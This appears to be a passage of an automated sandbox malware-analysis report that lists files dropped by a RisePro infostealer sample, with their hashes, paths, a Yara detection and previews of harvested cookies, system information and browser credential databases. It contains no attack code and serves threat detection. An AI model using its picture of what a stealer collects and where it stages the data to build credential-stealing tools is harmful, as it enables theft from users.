LCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\_Files_\XZXHAVGRAG.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1a0sarny.rdp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5jp5wlvf.1yv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cm3kjch4.0nj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gn53rrwp.db0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qruw5gax.olm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_su2c5wrx.vrs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uham2nb2.dib.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v3cinp54.mfn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\aMLtP386CmzygUXw7MGrDsU.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5660
Entropy (8bit):	7.905295905282536
Encrypted:	false
SSDEEP:	96:pWGzqeAoMq+YK0KF8cAJiI2i+uLpFKh0X2Fxkod58ho3KJ03:dqASpF8wFMuhg2bkod58a6J03
MD5:	31353EC444021D68DFCD81CD1377EBD8
SHA1:	39D3E674284EC2E7E9E51DBC8554ACFBA1F5CE71
SHA-256:	651D53A27C486C28C7F04D7301BC81E498C4C0002B0EEEF2B317C7552A15B39C
SHA-512:	CB09347C0055E335FE5B61FA3DC90F6F51FEA9D115C05DE33833CB8122CEA0451AA8EF891151E1A0BB54C6FAC7CAD58EA161FADAF7CC062C3989A92DB7303795
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\aMLtP386CmzygUXw7MGrDsU.zip, Author: Joe Security
Preview:	PK...........X................Cookies\..PK...........XQn.+............Cookies\Chrome_Default.txt.G..r...U.#.5C.....s$..-.D...7.\..$.G.)o....:....Z.C.f_..pm............"..t..t....}.k.@...a.2+P`.0.x.>....s..k%.._..b..P..((......B.....`.7..-m..JY..F....E..l.....I..&.....<J..M.......,V...)b.....Q..k......M?.5L....h}......X..'.0..tB.G...\;.a....4.......B4.......J.4.6.y:....4.-.UfE...3Ap.U5UX....Z.g:e.j.C..Bw..........e..a^.vU:....$..U......B..`._.e.....+...9.{u...7.e...H.]02...%yR".0...x...P<..N....R.}....{.G...;..c..x...kw.'S>.d\|.....B..k.9.t.!>.rh...~n.[....s#/....`.!..Kb8%&.vZB`....O\|.....>K......L...d0..03..t...T&.......`N.xp.."..J.......Q.....c..5...).Z.91.6.j..G.....Wr...a.52!..(^.U.....6....dB.D.^...7..0H.\J9.H.$^`e"..d...\....B.8Z=.qeP.3Y.>..'W.X..T..>z...,..K......g....%B.w4#...;.[]u\|....v...3.;L..U?..b.....u....... .......F...P.a...\|R3.=......r.:.64...#D..^..>.A..ZT.]E........t...f...1..3.....`...X.....C.]%...p.p.ym

C:\Users\user\AppData\Local\Temp\adobebtrs_8Zx22oC\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	ASCII text, with very long lines (769), with CRLF line terminators
Category:	dropped
Size (bytes):	6085
Entropy (8bit):	6.038274200863744
Encrypted:	false
SSDEEP:	96:gxsumX/xKO2KbcRfbZJ5Jxjxcx1xcbza5BC126oxgxA26Fxr/CxbTxqCGYURxOeb:gWFXZQHRFJ5Pts7c3avC126Ygb6Lr/WY
MD5:	ACB5AD34236C58F9F7D219FB628E3B58
SHA1:	02E39404CA22F1368C46A7B8398F5F6001DB8F5C
SHA-256:	05E5013B848C2E619226F9E7A084DC7DCD1B3D68EE45108F552DB113D21B49D1
SHA-512:	5895F39765BA3CEDFD47D57203FD7E716347CD79277EDDCDC83A729A86E2E59F03F0E7B6B0D0E7C7A383755001EDACC82171052BE801E015E6BF7E6B9595767F
Malicious:	false
Preview:	.google.com.TRUE./.TRUE.1712145003.NID.ENC893_djEw3+k+F2A/rK1XOX2BXUq6pY2LBCOzoXODiJnrrvDbDsPWiYwKZowg9PxHqkTm37HpwC52rXpnuUFrQMpV3iKtdSHegOm+XguZZ6tGaCY2hGVyR8JgIqQma1WLXyhCiWqjou7/c3qSeaKyNoUKHa4TULX4ZnNNtXFoCuZcBAAy4tYcz+0BF4j/0Pg+MgV+s7367kYcjO4q3zwc+XorjSs7PlgWlYrcc55rCJplhJ+H13M00HIdLm+1t9PACck2xxSWX2DsA61sEDJCHEc=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.FALSE./.TRUE.1696413835..AspNetCore.AuthProvider.ENC893_djEwVWJCCNyFkY3ZM/58ZZ/F/bz9H1yPvi6FOaroXC+KU8E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.ENC893_djEwBAKLrkJs5PZ6BD7Beoa9N/bOSh5JtRch10gZT+E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkH

C:\Users\user\AppData\Local\Temp\adobebtrs_8Zx22oC\information.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6801
Entropy (8bit):	5.431908148599236
Encrypted:	false
SSDEEP:	96:xfpdRyZRj7vcT4Aisph+9hcBN8MZbH4jNgANUbg3x:xr0x7vvAtphWhcBNpBONBB
MD5:	EBDC3FE0B56A54D624A109E482DE244D
SHA1:	B2E432E322BCA4C205C22DA1487E3747EBB35C15
SHA-256:	44C48261DE4ABA48D626819E550EB248DD0E32FD24173A1C3EF6D10DE277B0FA
SHA-512:	66CC4903883ED1C26ADB2148CED8394769BB0AF90319376D03EF794FAD4E1B8A0746392DB72CF8CFBA466AFF94621DBC758625B2A92B44B76EBA052DB27E7571
Malicious:	false
Preview:	Build: bladak..Version: 1.9....Date: Thu Apr 18 23:40:29 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 125cb5784ab8db6455ac20ad0e699033....Path: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe..Work Dir: C:\Users\user\AppData\Local\Temp\adobebtrs_8Zx22oC....IP: 81.181.57.52..Location: US, Atlanta..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 618321 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 18/4/2024 23:40:29..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [552]..services.exe [620]..lsass.exe [628]..svchost.exe [752]..fontdrvhost.exe [776

C:\Users\user\AppData\Local\Temp\adobebtrs_8Zx22oC\passwords.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\adobeuIh7Ey0HBdjO\Cookies\Chrome_Default.txt

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	ASCII text, with very long lines (769), with CRLF line terminators
Category:	dropped
Size (bytes):	6085
Entropy (8bit):	6.038274200863744
Encrypted:	false
SSDEEP:	96:gxsumX/xKO2KbcRfbZJ5Jxjxcx1xcbza5BC126oxgxA26Fxr/CxbTxqCGYURxOeb:gWFXZQHRFJ5Pts7c3avC126Ygb6Lr/WY
MD5:	ACB5AD34236C58F9F7D219FB628E3B58
SHA1:	02E39404CA22F1368C46A7B8398F5F6001DB8F5C
SHA-256:	05E5013B848C2E619226F9E7A084DC7DCD1B3D68EE45108F552DB113D21B49D1
SHA-512:	5895F39765BA3CEDFD47D57203FD7E716347CD79277EDDCDC83A729A86E2E59F03F0E7B6B0D0E7C7A383755001EDACC82171052BE801E015E6BF7E6B9595767F
Malicious:	false
Preview:	.google.com.TRUE./.TRUE.1712145003.NID.ENC893_djEw3+k+F2A/rK1XOX2BXUq6pY2LBCOzoXODiJnrrvDbDsPWiYwKZowg9PxHqkTm37HpwC52rXpnuUFrQMpV3iKtdSHegOm+XguZZ6tGaCY2hGVyR8JgIqQma1WLXyhCiWqjou7/c3qSeaKyNoUKHa4TULX4ZnNNtXFoCuZcBAAy4tYcz+0BF4j/0Pg+MgV+s7367kYcjO4q3zwc+XorjSs7PlgWlYrcc55rCJplhJ+H13M00HIdLm+1t9PACck2xxSWX2DsA61sEDJCHEc=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.FALSE./.TRUE.1696413835..AspNetCore.AuthProvider.ENC893_djEwVWJCCNyFkY3ZM/58ZZ/F/bz9H1yPvi6FOaroXC+KU8E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.ENC893_djEwBAKLrkJs5PZ6BD7Beoa9N/bOSh5JtRch10gZT+E=_b3i0u6LLcKCMUaF/UlQgEPSL9PtLZ21CuT1dJkfCzME=..support.microsoft.com.TRUE./signin-oidc.TRUE.1696414135..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkH

C:\Users\user\AppData\Local\Temp\adobeuIh7Ey0HBdjO\information.txt

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	6587
Entropy (8bit):	5.443581070736386
Encrypted:	false
SSDEEP:	96:xf+dRUZZRj7ecT4Aisphj9hcBN8MZbHELANUbg3x:xgcx7evAtphhhcBNpBkIB
MD5:	956C207DB8DE56ECCE8F111A6CCBE62B
SHA1:	A48867E1657433262F89A311381E351BC0FF035B
SHA-256:	019018C26F7A09CDB99807F41774B34CCFEA74BE2AECDB466F8CEA5A0A12CDE6
SHA-512:	8DE97AC88EFD23DDD2E241D3C79DDCE1C88CC09F3C9208C4C0AA23852628A595321D9927BF9321486D4A3F11AB51C248A4BB1536B785A200425603416E5DDDDB
Malicious:	false
Preview:	Build: bladak..Version: 1.9....Date: Thu Apr 18 23:40:46 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 125cb5784ab8db6455ac20ad0e699033....Path: C:\ProgramData\MPGPH131\MPGPH131.exe..Work Dir: C:\Users\user\AppData\Local\Temp\adobeuIh7Ey0HBdjO....IP: 81.181.57.52..Location: US, Atlanta..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 618321 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 18/4/2024 23:40:46..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [324]..csrss.exe [408]..wininit.exe [484]..csrss.exe [492]..winlogon.exe [552]..services.exe [620]..lsass.exe [628]..svchost.exe [752]..fontdrvhost.exe [776]..fontdrvhost.exe [784

C:\Users\user\AppData\Local\Temp\adobeuIh7Ey0HBdjO\passwords.txt

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\0olcqcB29zzZHistory

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.9682160163179127
Encrypted:	false
SSDEEP:	192:nqqAYR3QMmzyW/mtH+bF+UI3iN0RSV0k3qLyj9T3Qcd:nuY67b+tIkUI3iGRE3qLOT3l
MD5:	BF8CD4F8E657DE0E816EA32659C853CE
SHA1:	0196B07E108B1E7ADFE7470D9A40C5956F8AC9A2
SHA-256:	CF95F00F4AB3E1327085A4796565E5C0B65B10E435DD9776D35AD74FF8EA6970
SHA-512:	B9F1C53B70623516CE9F3A76E2F1CAFBCE93FA0DA8BFE140677389F9AB861D01CB0BC2973CC26C44223103C4BCD380C2236903B82034FAC6E50DDC40DF62E2BE
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\5HPHbOZLhEp1Login Data For Account

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\7PxlCnLZPha7History

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibtrs_8Zx22oC\7R9nGllcZM_sWeb Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
